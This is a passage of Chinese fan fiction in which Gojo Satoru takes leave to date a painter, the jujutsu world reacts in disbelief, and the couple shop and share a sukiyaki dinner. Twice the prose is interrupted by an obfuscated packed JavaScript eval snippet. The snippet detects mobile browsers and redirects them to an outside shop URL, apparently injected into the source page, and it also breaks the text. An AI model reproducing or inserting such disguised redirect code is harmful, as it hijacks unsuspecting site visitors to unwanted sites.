下一秒,他已经恢复成那副懒洋洋、什么都不太在乎的样子,随手把眼罩拉好,靠回座椅,穿过指缝握住她的那只手却没有丝毫要松开的意味。 “好啦好啦。”五条悟笑吟吟地开口:“开车啦,伊地知。” “回……高专吗?”努力配合五条悟演戏的伊地知斟酌着用词。 “当然不是啦。” 五条悟伸出一根手指,随意地点了点伊地知的后脑勺,语气理直气壮得毫无负担。 “我女朋友受伤了诶。” 他说。 “手都包成这样了,还流了血。” “哪有男朋友在这种时候,把女朋友直接带去加班的。” “……可是夜蛾校长的月会——”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244179|196902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “那就帮我请假嘛。” 五条悟毫不在意地挥了挥手,语气轻描淡写: “超敬业的GTG已经连续工作半年多都没休息过了诶。” 他偏过头,像是忽然想到了什么更合理的理由,笑得理直气壮。 “因为刚谈恋爱要陪女朋友,所以请假三天——” “不会真的有那么狠心绝情的人类拒绝吧?” 他说完,还很贴心地补了一句: “是吧,伊地知?” 伊地知:“……” ——这已经不是加不加工资的问题了。 这是工伤!工伤!!他一个万年单身的人究竟是为什么上班还要来吃狗粮!!! 太过分了五条先生!! 委屈又憋屈的伊地知敢怒不敢言地发动了引擎:“那五条先生准备去……” 朝日奈结月比片刻之前的伊地知还要紧张。 她·从·来·没·有·谈·过·恋·爱! 所以,确认关系以后的发展流程是什么样的她真的完全不知道啊啊啊。 “去超市吧。” 五条悟一锤定音。 “结月酱手都伤成这样了,今晚我来下厨好喽。” 这句话落得太自然了。 自然到结月愣了一下,才后知后觉地意识到—— 他已经把“今晚”这个时间点,理所当然地划进了“我们”的范围里。 “去……紀ノ国屋吗?” 伊地知下意识报出了一个五条悟周末偶尔会去的地方。 位于新宿的那家高端超市,以精选进口食材和精致服务闻名。 “别去新宿那家。” 五条悟却像是早就想好了似的,语气随意得近乎漫不经心。 “去吉祥寺的分店吧。” “诶?” 伊地知有些诧异地从后视镜里看了他一眼。 这种小事,五条先生向来懒得改行程。 除非是有限定甜品,或者集章活动——否则他极少为这种“普通安排”多花一点脑细胞。 “为什么突然……” “因为我女朋友有特定区域的人群密集恐惧症啦。” 五条悟把这句话说得轻描淡写,像是在解释今天的天气。 结月一瞬间僵住。 ——这个人,真的把她刚才那个乱七八糟的借口,记住了。 而且记得比她本人还顺手。 “特定区域?人群……密集恐惧症?” 伊地知重复了一遍,表情像是第一次听到某种全新的特级咒灵。 “啊,对。” 结月有点不好意思地开口,努力配合着这个被“官方认证”的设定。 “在涉谷和新宿这两个地方,我会比较……” “所以朝日奈小姐从来没去过涉谷的Parco,也没去过新宿的Lumine吗?!” 伊地知震惊得几乎要把眼镜推到额头上。 结月:“……” 她还没来得及回答,后座那道懒洋洋的声音已经插了进来。 “开车啦,伊地知。” 五条悟伸出一根手指,又戳了戳辅助监督的后脑勺。 “不要一直问我女朋友奇怪的问题。” “万、万分抱歉!” 今日份精神世界持续遭受重创的辅助监督几乎是条件反射般道歉,立刻收回视线,发动引擎。 车子缓缓驶入夜色。 窗外的霓虹灯一盏一盏后退,像被时间按下了慢放键。 结月靠在座椅上,心跳却迟迟没能恢复平稳。 她这才后知后觉地意识到—— 自己的人生,好像在不知不觉间,被推到了一个全新的分支上。 回家。 做饭。 避开人多的地方。 他在用一种极其随意、却不容拒绝的方式,把她从危险而失控的世界里,拉回到一个足够普通的轨道上。 她忍不住侧过头。 五条悟已经重新靠回座椅,眼罩遮住那双过分耀眼的眼睛,整个人看起来松散又随意。 只有那只握着她的手—— 始终没有松开。 结月忽然意识到一件事。 ——她的人生,终于要开始一段普通,却不无趣的恋爱了。 虽然她的男朋友只是一名薪资微薄、身体还不好的普通高中老师,但是本来她也只是一个普普通通、勉强算得上小有名气的油画家而已啦。 的确是很般配,没错吧? 25.第 25 章 东京咒术高专主持的联合会议—— 没有学生,没有闲杂人等。 会议室的门紧闭着,空调低频运转的嗡鸣被无限放大,像某种持续施压的结界,让人下意识压低呼吸。 白板上被反复擦写过数轮,笔痕一层层叠上去,边缘模糊不清。 那不是整理不及时。 而是因为—— 东京和京都的高专内部似乎出现了内鬼这样的话题,本来就不可能轻松。 五条悟离开的时候,最初没有任何人当回事。 手机震动了一下。 白发的男人低头扫了一眼屏幕,表情没有变化,连眉梢都懒得动一下。 “我出去一下。” 语气轻得离谱。像是在说“我去倒杯水”这样一件根本不需要讨论,最多五分钟就会回来的小事。 夜蛾抬头的瞬间,他人已经站了起来。 五条悟单手插在兜里,步子松散随意,没有解释、没有停顿、也没有等待被‘批准’这件事情,自己批了自己的假一样,话音刚落已经转身走了出来。 夜蛾正道皱着眉叹了口气,习惯了五条悟这样自我的个性,宣布会议暂停。 ——这种会议,或者说对于现在的咒术届而言,无论是什么样的场合,失去了五条悟,就像打扑克抽走了大小王也抽走了K,这还怎么玩。 前十分钟,没有人说话。 二十分钟后,歌姬第不知道多少次看向那扇紧闭的门,眉头已经皱得毫不掩饰。 “……他是不是走得有点久了?” 夜蛾没有回应。 只是冷着脸宣布回忆继续,推进议程,粉笔敲在白板上,声音干脆而冷硬。 四十分钟过去…… 桌上的咖啡彻底凉透。 文件翻到了最后一页。 有人开始调整坐姿,明显坐不住了。 “按理说,”有人压低声音,“他不可能中途消失这么久。” 没人反驳。 因为这是事实。 五条悟从来不是守规矩的人。 但他从不缺席。 尤其是在这种级别的会议上。 他是被当作“最后底牌”放在这里的存在。 是被默认—— 即使所有人崩溃,他也会站在原地帮所有人收拾烂摊子完美兜底的那种王炸底牌。 时间一点一点流走。 第二个小时刚开始,连夜蛾都停下了手里的笔。 他抬起头,目光扫过会议室。 “……先休息五分钟。” 这句话落下的瞬间,空气明显变了。 不安像水一样,从地板慢慢漫上来。 五分钟过去。 十分钟过去。 会议已经接近可以宣告结束—— 五条悟,仍然没有回来。 就在这种压抑到几乎要出事的沉默中,会议室的门终于被推开。 所有人的视线同时抬起。 进来的却不是那道熟悉的白色身影。 而是伊地知。 他明显是一路跑过来的,气喘吁吁,额头全是汗,站定之后甚至忘了调整呼吸。 下一秒—— 九十度鞠躬,声音颤颤巍巍,额头几乎要贴着地板,完全心虚得不敢抬头看校长一眼。 “非、非常抱歉!!!” 在没看见五条悟人的情况下,加上辅助监督的这一声道歉,某人会议中途消失的行径彻底被坐实。 夜蛾的脸色瞬间沉了下来。 “伊地知。” “是!”伊地知猛地直起身,声音绷得发紧,“五、五条先生让我转告各位,他今天……请假。请假三天。” 空气,凝固了一瞬。 “……请假?” 歌姬的声音慢慢拔高,像是在确认自己是不是听错了。 “你说的是五条悟?” 伊地知点头,几乎不敢抬眼。 七海的声音冷静得近乎异常。 “理由。” 伊地知的喉结狠狠滚动了一下。 “因、因为……” 他明显卡住了。 像是这句话本身就不该存在于现实世界。 “因为五条先生说,他——” 伊地知闭了一下眼。 像是彻底放弃挣扎,硬着头皮把话说完: “——他谈恋爱了。” 这一秒,整个会议室里所有人的精神状态都被这句话给震得粉碎。 “哈?!” 歌姬当场拍桌站起来。 “你再说一遍?!” 七海手里的玻璃杯发出一声清脆的裂响。 下一秒,杯子在他掌心碎成了渣。 他低头看着碎片,沉默了两秒,才慢慢开口: “……你确定。” “他用的是‘谈恋爱’这个词?” “是、是的!”伊地知的声音几乎要哭出来,“原话!” 会议室彻底失控。 “开什么玩笑——” “那家伙?!” “他?” “谈?” “恋?” 每一个词单独拎出来都很正常。 连在一起,却荒谬到像某种恶劣的诅咒。 因为那是五条悟。 是几乎从不休假、从不请假的五条悟。 是被当成“情感模块缺失”的六眼神子。 是很多人心中—— 只会工作、只会战斗、不会产生人类情绪的存在。 夜蛾深吸了一口气。 像是在强行把碎掉的世界观重新拼回去。 “……他还说了什么。” 伊地知迟疑了一下,小心翼翼地补充: “他只是笑了一下,说——” “‘因为刚谈恋爱请假三天,不会真的有那么狠心绝情的人类拒绝吧。’” “……” 沉默。 比刚才更可怕的沉默。 七海摘下眼镜,捏住眉心。 “这已经不是个人私事的问题了。” 歌姬的理智在这一刻彻底崩盘。 她掏出手机,手指飞快地敲屏幕。 【歌姬:你听说了吗??】 【歌姬:五条悟请假了】 消息几乎是秒回。 【冥冥:?】 歌姬深吸一口气,敲下最后一句。 【歌姬:因为谈恋爱。】 对话框那头,足足沉默了五秒。 【冥冥:……】 【冥冥:你确定不是诅咒反噬?】 与此同时。 远在另一头的九十九由基,正靠在窗边刷手机,跳出来的短信让她咬着烟的忽然动作一顿。 像是有什么荒谬到极点的消息,直接砸进了她的感知里。 她挑了挑眉,笑意慢慢浮上来。 “五条,谈恋爱?真的假的?” “那可真是——” 她低低地笑了一声。 “全咒术届都要震惊到失眠了。”’ 这句话并没有夸张。 甚至有些保守。 不到一个小时,消息就已经以一种完全失控的方式,从东京咒术高专向整个咒术体系扩散开来。 ——并且,每传一次,可信度就下降一分,荒谬度却指数级上升。 最先炸的是东京校内部群。 【东京校·教职群】 【辅助监督A】:??? 【辅助监督B】:我刚听到一个消息,说五条先生请假了 【辅助监督C】:他不是在开联合会议吗 【辅助监督A】:理由更离谱 【辅助监督A】:谈恋爱 群里静了一秒。 紧接着,消息像是被同时按下了回车键。 【辅助监督B】:???????? 【辅助监督C】:你是不是被咒灵污染了 【辅助监督D】:哪位特级? 【辅助监督A】:不是任务对象 【辅助监督A】:是恋爱对象 群,短暂地死机了。 【匿名·咒术论坛】 #紧急# #爆# 听说五条悟请假了??? 回复1:假的吧 回复2:他不是人形加班机器吗 回复3:我在高专三年没见他休过一天假 楼主补充:理由是谈恋爱 回复18:你是不是被咒灵附身了 回复19:六眼神子??谈??恋??爱?? 回复69:对象是谁?? 回复70:是人吗?? 回复71:还是某种新型诅咒?? 回复72:楼上请你尊重一点 回复73:如果是诅咒,那是史上最成功的精神污染 回复74:虽然我真的很好奇是何方神圣能让五条先生谈恋爱—— 回复75:我更想知道 回复76:五条悟请假三天??? 回复77:三天???这是要闭门不出大do特do大战三百回合吗? 回复78:他一年都不一定休三天吧 回复79:我宣布 回复80: 回复81: 回复82:咒术界要完蛋了 *** 一年级的理论课,原本应该是五条悟。 但当教室门被拉开的时候,走进来的却是—— 日下部。 教室里短暂地安静了一秒。 虎杖歪了下头,眨了眨眼,确认了一下门口站着的人,又迅速回头看了看黑板上写着的课程安排。 《咒术理论基础(五条悟)》 “……诶?” 虎杖举起手,语气一如既往地阳光又直白:“日下部老师,我们五条老师呢?今天是五条老师的课才对吧?” 日下部脚步顿了一下。 那一瞬间,他脸上的表情非常微妙。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250189|196902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不是惊讶,不是生气,更不是不耐烦—— 而是一种已经预料到这一刻终究会来,却还是不太想面对的疲惫。 他把教材放到讲台上,推了推眼镜。 “你们五条老师——” 停顿。 非常短的一下。 却足够让教室里的三个人同时竖起耳朵。 “请假了。” “诶——?!” 虎杖几乎是从椅子上弹起来的。 “请假?!” 钉崎野蔷薇也愣了一下,下意识地接话:“五条悟……请假?” 她皱起眉,表情明显不信。 “那个家伙?” 伏黑惠没有立刻说话。 他只是微微眯起眼,像是在回忆什么。 几秒后,他冷静地下了结论: “很奇怪。” 日下部看了他一眼。 “哪里奇怪?” 伏黑语气平稳,却异常笃定。 “我从入学到现在,没有见过他缺席。” “也没有见过他休假。” “哪怕一天。” 野蔷薇立刻点头附和。 “对啊,那个人不是——” 她想了想,找了一个最贴切的形容,“——连睡觉的时间都不需要的非人类一样的存在吗?” 虎杖已经开始紧张了。 “等一下等一下。”他举着手,表情认真得过分,“老师不会是因为太辛苦所以生病了吧?!” 日下部:“……” 伏黑几乎是条件反射地否定。 “怎么可能。” 他说。 “他可是最强。” 语气冷静到像是在陈述某种物理定律。 虎杖愣了一下,随即猛点头。 “对哦!” “那、那他为什么请假?” 在同一时间,炯炯有神的三双眼睛齐刷刷地落在了日下部身上。 日下部:“…………” 他真的很想现在就离开这个教室。 或者至少—— 时间倒流十分钟,让他假装肚子疼。 可惜不行。 他深吸了一口气。 像是做出了某种艰难的心理建设。 “你们五条老师说了。” “这几天本来就是理论课和自习为主。” “有没有他,都——” 日下部停了一下。 “…没什么区别。” 教室里静了一秒。 野蔷薇眯起眼睛:“这更奇怪了。” 伏黑:“同意。” 虎杖:“老师你是不是在隐瞒什么?” 日下部:“……” 成年人在这一刻,被未成年人的直觉彻底击败。 他终于放弃挣扎。 推了推眼镜,用一种已经彻底躺平的语气说道: “因为——” “你们五条老师。” “谈、恋、爱、了。” …… 虎杖:“……哈?” 野蔷薇:“……哈???” 伏黑:“………………?” 下一秒。 “诶诶诶诶诶诶诶诶诶?!!!” 虎杖的声音直接炸穿教室。 “恋爱?!” “谁?!” “什么时候?!” “真的假的?!” 野蔷薇一巴掌拍在桌子上站起来。 “等等等等!” “你说的是五条悟?!” “那个五条悟?!” “不是长得像恋爱对象、而是真的在恋爱的那种?!” 伏黑的反应最慢。 但也最致命。 他沉默了三秒,才缓缓开口: “……所以。” “他请假三天。” “是为了陪恋人?” 日下部点头。 点得异常沉重。 教室里再次陷入一片死寂。 虎杖的脑子显然已经开始冒烟了。 “那、那对象是谁啊?不会真的是那个漂亮姐姐吧?!!” 野蔷薇双手抱臂,眯着眼睛,语气危险。 “等等。” “这个世界上。” “真的存在能让五条悟请假的人类吗?” 她倏然回头看向虎杖:“那天那位小姐,有照片吗?!” 虎杖疯狂摇头:“没有没有没有,但是真的超漂亮多看一眼都会dokidoki的那种美女姐姐!” 今日份信息量已经过分爆炸,日下部合上书,语气近乎疲惫地打断了三个学生们兴奋难耐地对话,按照他们这么聊下去一节课的时间都不够用: “好了。” “今天的理论课内容是——” “在不可靠的世界观中,如何继续当一个合格的咒术师。” 虎杖:“老师你这根本就是在逃避吧!!!” 26.第 26 章 对于咒术届因为他们的六眼神子谈恋爱而沸沸扬扬的绯闻,女主角本人一概不知。 她正在和确认关系还不到两个小时的男朋友逛超市。 是的。 ——居然真的和一个普通但是一点也不无趣的男朋友一起逛超市,买打折牛奶了。 这就是她梦想中的那种普通人的恋爱日常。 普通到如果不是她可怜的十个手指头还缠着厚厚的纱布,几个小时以前她的失控已经模糊到她甚至记不清自己当时到底为什么会突然发疯。 朝日奈结月看着面前拎着两桶牛奶在她眼前晃来晃去的新晋男友,心情一时间五味杂陈。 “快点选嘛,结月酱——” 五条悟拖着懒洋洋的尾音,“全脂,还是脱脂?” 她犹豫了一下,最终还是伸手指向了标着折扣贴纸的那一排:“……脱脂吧。这个也在打折。” “诶——” 五条悟明显露出了遗憾的表情,恋恋不舍地看了一眼全脂牛奶,像是在和某位老朋友告别,“那我就牺牲一下好了。” 他说着,把脱脂牛奶放进购物车里,动作郑重得仿佛完成了一项伟大的让步。 结月的目光顺着购物车往下移。 白巧克力曲奇。黑糖蕨饼。提拉米苏大福。草莓红豆布丁。抹茶生奶油面包。 ……一个比一个甜。 她终于没忍住,抬头提醒:“我们不是说好来买晚餐食材的吗,悟?” “嗯?” 五条悟正把一盒秋季限定的 Royce 生巧放回冷藏柜,闻言低头看了她一眼,表情无辜得不像装出来的。 然后,他伸手指了指购物车。 “已经买好了啊。” “……?” 结月很想在脑内手动打出一整排黑体加粗问号。 “你是说——”她一字一顿,“这些不是零食,是晚餐?” “对啊。” 五条悟点头点得毫不犹豫,反而有点困惑,“不然呢?” 他说着,随手用两根手指拎起那袋抹茶生奶油夹心面包,俯下身来,在她眼前轻轻晃了晃,语气兴致勃勃: “这个超好吃的哦!GTG 认证过的。” 他想了想,又补充一句,“仅次于毛豆鲜奶油喜久福。” 结月的脑内警报已经拉响。 而且是最高级别的那种。 所以问题来了—— 她男朋友到底是怎么健康地、完整地、毫无并发症地从零岁活到二十八岁的? 没有糖尿病? 没有高血压? 没有高血脂高血糖? “你是在告诉我……” 她深吸一口气,太阳穴已经开始隐隐作痛,“你的晚饭,经常就是这些?” “当然不是啦!” 五条悟露出震惊的表情,像是听到了什么极端指控,“每天晚上都吃一样的东西,人是会腻的耶。” 结月松了口气:“所以,你平时一个人吃饭的话——” “还有甜甜圈、喜久福、巴斯克蛋糕、夜芭菲之类的嘛。” 他理所当然地总结道,“吃饭当然要营养均衡一点。” “……” 没关系。朝日奈结月深呼吸——她就知道是个人总会有点小缺陷。 她的男朋友,身为一个长相高大帅气的普通高中老师,在其他地方都足够普通理想,那么生活上有一点小缺陷也是很正常的。现在他们交往了,照顾是互相的,她会好·好·的帮他提前预防高血压·高血脂·糖尿病的。 “悟。”她微笑:“不如今天晚上我们去吃寿喜锅吧。甜甜的棉花糖锅底呢,但是也有肉,有菜,还有大米饭。” “诶——寿喜锅啊。” 五条悟想了想,语气倒是意外地轻松,“那甜的部分算在晚餐里对吧?” “算。” “但甜品只能少量。” “那我勉强接受。” 他点了点头,像是完成了一场郑重的谈判。 推着装满甜品的购物车往收银台走时—— “刚才我是在开玩笑的,结月酱知道的吧?” 五条悟忽然靠近了一点,用指尖勾了勾她的发尾:“晚上本来是准备给你做咖喱猪排的哦。” 发尾被他勾起的一瞬间,他滚热的指腹似乎不小心蹭到了她后颈的肌肤。这种不经意的刮擦而过激起她一阵细小的战栗。 她第无数次怀疑自己是不是中了什么蛊毒。为什么身体的每一处都对他随意的触碰都如此敏感至极。 假装若无其事的站直了身子,结月用哄小孩子的语气嗯嗯两声:“好的呢。悟最棒啦。” “太敷衍了啦结月酱!”五条悟语调夸张:“人家虽然很少下厨但是做饭水平超棒的哟。” 结月没来得及回他,她的目光被琳琅满目的膨化零食吸引了。她有些费力地仰起头,目光落在最上层那袋熟悉的黄瓜芥末味薯片上。犹豫了一下,她还是踮起脚尖伸手去够,指尖却始终差了那么一点。 就在她准备再努力一次的时候,头顶忽然覆下一道影子。 “这个?” 五条悟的声音从她身侧落下,语气随意得像是在确认一件再普通不过的小事。 下一秒,他甚至没怎么看,便抬手将那袋薯片从最上层抽了下来,轻轻松松递到她手里。 “……谢谢。” 结月接过薯片,耳尖却慢慢红了。 “这种高度对我来说是顺手的事情啦。” 他懒洋洋地笑了一下,又低头补了一句,“而且你刚才踮着脚,手又不方便,看起来超危险诶。” “哪有……” 她小声反驳,却没什么底气。 也不知道是哪一瞬间的冲动。 结月小心翼翼往前靠了一步,踮起脚,在他毫无防备的情况下—— 温软的唇瓣在他的下巴尖上,轻轻碰了一下。 像是不小心似的。 空气安静了一秒。 五条悟明显顿住了。 他低头看着她,像是花了半拍才确认刚刚发生了什么。 下一秒,唇角慢慢勾起来。 “结月酱。” 他拖长尾音,声音低得有点坏,“你刚才……亲我了?” 结月的耳尖“轰”地一下烧了起来:“我、我是不小心——” “嗯嗯,不小心。” 他点头点得极其敷衍,像是在认真配合她演戏。 然后,他抬手扣住了她的后颈。 隔着发丝,指腹落得很轻,却稳得让她没办法后退。 五条悟俯下身,逼近到几乎要碰到她的鼻尖。 呼吸贴得太近了。 近到她能清楚地感觉到,他的呼吸在那一瞬间—— 乱了一拍。 他像是真的要吻下来。 可就在距离消失之前,动作却极轻微地停住了。 像是有人在最后一刻,硬生生踩住了刹车。 “那我也……” 他低声笑了一下,语气恢复成那种漫不经心的轻佻。 “不小心一下?” 结月的心跳猛地乱了节拍。 她以为他真的要吻下来。 可他只是偏了偏头,温热的呼吸擦过耳边的肌肤,痒的要命:“以后想亲就说嘛。别装成不小心。” 结月:“……” 她整个人像被烫到了一样,连手里的薯片袋都变得滚烫。 五条悟若无其事松开她,顺手揉了揉她的发顶,把薯片丢进购物车里,语气又恢复成懒洋洋的轻快:“走啦,结月酱——再磨蹭下去我会被你可爱到出事诶。” 两人排到收银台时,正值傍晚高峰。 结月低头翻着手机里的付款码,却隐约察觉到身后传来几道压低却兴奋的声音。 “喂……你看他们……” “是不是情侣啊?” “也太配了吧……” “男生好高好帅啊……” “女生也好漂亮,完美身高差……” 是几个穿着校服的本地中学生。 中学生的议论一字不漏地飘来,结月僵在原地,脚趾抠地。 就在她祈祷五条悟没听见时,身侧的人忽然“噗嗤”笑出了声。 紧接着,她感到他弯下了腰——不是低头,而是把整个上半身的重量都懒洋洋地压在了她单薄的肩膀上,下巴搁在她颈窝。 一个极其依赖、甚至有些撒娇的姿势,与他一米九的身高形成荒谬反差。 “喂,听到没?” 他侧过脸,嘴唇几乎贴着她耳垂,用足以让那几个中学生听到的、苦恼又炫耀的语气大声“密谋”: “他们说我们是‘完美身高差’诶。” “怎么办啊结月酱,我们被发现了。” 结月:“……” 她整个人都快烧着了! 中学生们的脸已经红到冒烟,眼睛却亮晶晶地看着这“偶像剧般”的一幕。 五条悟这才慢吞吞地直起身,但手已经无比自然地滑到她腰间扣紧。他对着中学生方向懒洋洋地比了个“嘘”的手势。 “要保密哦。” 他笑着说,然后转头,用只有她能听到的 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五条悟靠在椅背上,语气懒洋洋的,“不像我的作风。” 她正想回他一句,手机忽然震了一下。 结月低头看屏幕,愣了一瞬。 “我接个电话。” 她说。 “嗯。” 五条悟应得很随意。 她把手机贴到耳边。 “摩西摩西?” 电话那头的声音很平静:“在外面?” “嗯呢。” 她看了一眼锅底,“正准备吃饭。” “吃什么?” “寿喜锅。” 她语气自然得没有一丝停顿。 “你呢?吃了吗?” 她顺口问。 “还没有来得及。” “那要过来一起吃吗?” 话出口的那一刻,她自己都没意识到有哪里不对。 电话那头安静了一瞬。 “你在哪里?” 她报了地址。 “有点远。” 杰笑了笑,“下次吧。” “好呢。” 她点头,“记得要吃饭啊你。忙起来的时候总是不记得吃饭,真让人担心。” 电话挂断。 结月把手机放回桌上,抬头时,五条悟正慢条斯理地看着菜单。 “还是那天那位有你家备用钥匙的朋友?” 他随口问。 “嗯呢。” 她点头,“也是我最好的朋友啦。” “这样啊。” 五条悟语气平静,“那还挺关心你的诶。” 他说这句话的时候,语调很轻,像是在陈述一件再正常不过的事实。 “失忆以后,因为忘记了很多事情,生活里除了养母以外也无法再去信任别的其他人。于是他真的是我现在唯一的好朋友呢。” “下次有机会介绍你们认识啦。” 她自己不会意识到提到自己这位好朋友时神情有多么的温柔。 不是陷入爱情里的那种甜蜜——像她和杰提起五条悟时的表情。 是温柔。仿佛把心脏最柔软最无法触碰的那片逆鳞都只给了她这位好朋友一个人的那样的柔软神情。 服务员把锅底端上来,砂糖落进酱油里,发出轻微的声响。 蒸腾起的雾气氤氲了桌对面五条悟的神情,晦暗不明。 五条悟慢条斯理的把菜单合上。 “那就这个吧。” 他说,“你刚才指的那个。” 他没有接话,只是若无其事转移了话题。 “对了。” 他像是忽然想起什么似的,又补了一句,“你明天有安排吗?” “有啊。” 她想了想,“和我朋友一起去看画展。” 她抬头看他,语气自然又带着点分享的意味:“悟,要不要一起?正好把你介绍给他认识?” 这一次。 五条悟没有立刻回答。 他盯着她看了两秒,又像是觉得这个反应不太必要似的,轻轻笑了一下。 “画展啊。” 他说,视线看向了她手边才挂断不久的手机。 然后,慢慢地—— 把视线移开。 “好啊。” 27.第 27 章 铺满了整个锅底的棉花糖随着上升的温度而很快融化。寿喜锅开始慢吞吞地咕嘟作响。 朝日奈结月还来不及动筷子,五条悟已经很自然而然地端起了满满一盘牛肉,熟练地下进了锅里。 甜酱油的香气在空气里漫开,蒸腾的热雾模糊了视线,肉香四溢。 他挽起了袖子,露出一截修长劲瘦的小臂,冷白的肌肤下藏着脉络分明蕴含蓬勃力量的青筋。 他的手也很好看。五指修长,骨节分明,握着筷子时,手背的青色血管浮起清晰的线条,让人下意识多看了一眼。 ——他完全可以一只手轻轻松松扼住她的颈项。 在这个莫名其妙、横冲直撞的念头发酵以前,结月慌乱地转移视线,低头看向翻滚的汤汁,而后忽然发现…… 自己碗里永远是满的。 而五条悟的筷子,几乎没怎么往自己那边动过。 “悟,你不吃吗?”她终于忍不住抬头。 “在吃啊。” 他说得理直气壮。 结月低头一看,才发现他刚刚夹走的那片肉——已经被送进了她的碗里。 她怔了一下。 “……那是我的?” “嗯。” 五条悟点头,语气懒洋洋的,“本来就是给你的。” 他说这话的时候,手肘随意地搭在桌沿,身体微微前倾。 黑色眼罩遮住了他的视线,她看不见他的眼睛,却能清楚地感觉到—— 他在“看”她。 那种被锁定的感觉,比真正的对视还要让人无处可躲。 “你现在手不方便嘛。” 他说得轻描淡写,慢悠悠地顺手又夹了一片肉。 筷子在锅里悠悠然地涮着,动作耐心得近乎刻意。 直到那片肉呈现出她最喜欢的熟度,他才把它放进她的碗里。 “被照顾一下,不是很正常吗?” 语气太自然了。 自然到,让人一时间分不清—— 他是在体贴,还是在理直气壮地介入她的生活。 他甚至猜到了她不喜欢蘸生卵的蛋清。极其自然的帮她敲开了蛋壳,沥走了蛋清,颜色完美的一颗蛋黄就这样躺在她的碗底。 结月的指尖微微蜷了一下:“……悟照顾人,真的很熟练呢。”她小声说。 五条悟的筷子顿了一瞬。 非常短。 短到几乎可以忽略。 然后他抬眼,弯起唇角:“诶?被发现了吗?” 那语气不像被拆穿,更像是—— 被夸了。 “所以我才问你啊。” 结月终于还是抬头看他,声音轻得几乎要被锅里的声响淹没,“悟以前……真的没有谈过恋爱吗?” 空气安静了一拍。 五条悟没有立刻回答。 他没有动,只是偏着头“看”她。 眼罩遮住了视线,却让那份注意力显得更直接、更不容忽视。 下一秒—— “张嘴。” 指令来得毫无预兆。 结月几乎是本能地照做了。 温热的肉片被送到唇边,筷尖擦过她的嘴角,带着一点不经意的凉意。 “嗯,这不是很听话嘛。” 五条悟笑得轻快,语气里带着点理直气壮的愉悦。 “病号就乖乖接受照顾就好了。” 他说完这句话,才若无其事地收回筷子。 “好啦。” 语气轻飘飘的,像是在结束一个小插曲。 “这个问题,跳过。之前已经回答过了哦。”他似乎真的不喜欢重复回答一个已经给予明确答案的问题。 “……你这是犯规。” 结月含糊地抗议。 五条悟笑得理直气壮,“我只是合理利用男友特权嘛。” 她叹了口气,像是放弃了挣扎。 “那换一个。” 她抬眼看他,语气认真了几分。 “和我聊聊你吧,悟。” “总觉得……我还是不了解你。” 这一次,他没有立刻笑着接话。 热雾在两人之间缓缓升起,又慢慢散开。 “我啊。” 五条悟像是真的思考了一下,随后语调轻快地开口:“就是个——很普通的高中老师啦。” 那语气轻描淡写得过分,像是已经替这段话画好了安全的边界。 结月显然不打算就这么放过他。 “那悟有 Instagram 或 Facebook 吗?” 她眼睛亮了一下,“我们互相关一下?” ——总能从社交网络里翻出一点过去的痕迹。 五条悟眨了下眼睛,表情无辜得近乎认真。 “诶?没有哦。” “那种东西,我完全不玩。” “怎么可能——” 她下意识反驳,话才说到一半,“那你平时休息的时候喜欢做什——呜……” 话音被迫中断。 他神色自然地将一片裹满蛋液的牛肉送到她唇边, 动作熟练得仿佛早就算好了她开口的时机。 “嘘。”五条悟语气轻快:“病号讲话太多,对恢复不好哦。” 结月只能被迫咬下那片肉。 “很遗憾呢。” 他若无其事地收回筷子,语气忽然变得夸张起来。 “休息日这种东西,对超——级负责任的 GTG 来说,可是相当奢侈的。” 他还配合地叹了口气。 “平时连睡觉的时间都少得可怜诶。” 结月睁大了眼睛。 “那你的朋友们呢?” “朋友啊——” 五条悟拖长了语调,像是在回忆什么,又像只是随口一说。 “基本没有啦。” “唯一那一位挚友嘛……在叛逆的青少年时期得了无可救药的中二病,和我大吵一架,冷战了好多年。” 他笑眯眯地补充:“最近才勉强和好哦。” 语气轻松得像在讲别人的故事。 却偏偏—— 没有再给她任何追问下去的缝隙。 朝日奈结月重新在心里刷新了她的相亲对象,啊不,她对男朋友的印象。 工作辛苦、薪资微薄、身体不好、会照顾人、朋友是仅有一根手指可以数的一位数,娱乐生活更是少的可以忽略不计。 咦,不过……仅有一位朋友并且吵了一架冷战多年这个事情,怎么好像有点耳熟呢??她是在谁那里也听到过不说相似只能说一模一样的版本来着? 学生的电话就是在这个时候打了进来。 五条悟低头看了一眼屏幕上备注是‘悠仁’的号码,对着结月说了声‘抱歉接个电话,啊果然这个世界没了GTG一天都运转不下去呢。’ 结月哭笑不得点头,看着他按下了接听键。 “哟,悠仁~最好是有比限定款开心果铜锣烧售罄还重要的事,老师正在和女朋友约会哦——” *** 一年级的三个人给五条悟打电话,本来只是因为—— 他们怎么也找不到日下部老师口中那份「五条老师提前留下的作业」。 碍于那毕竟是老师的办公室,三个人谁也不敢真的乱翻。 在办公桌附近转了好几圈无果之后,虎杖犹豫了又犹豫,最终还是在同窗们的怂恿下,拨通了电话。 “诶?作业?” 电话那头,五条悟的声音听起来心情很好。 “在抽屉里啦。” “抽屉?” 虎杖下意识追问,“哪一层啊,五条老师?” “唔——哪一层来着。” 五条悟拖长了语调,像是真的在回忆,又像完全没打算认真想。 “忘记了哦。” 电话那头传来他轻快的笑声。 “不过没关系吧?” 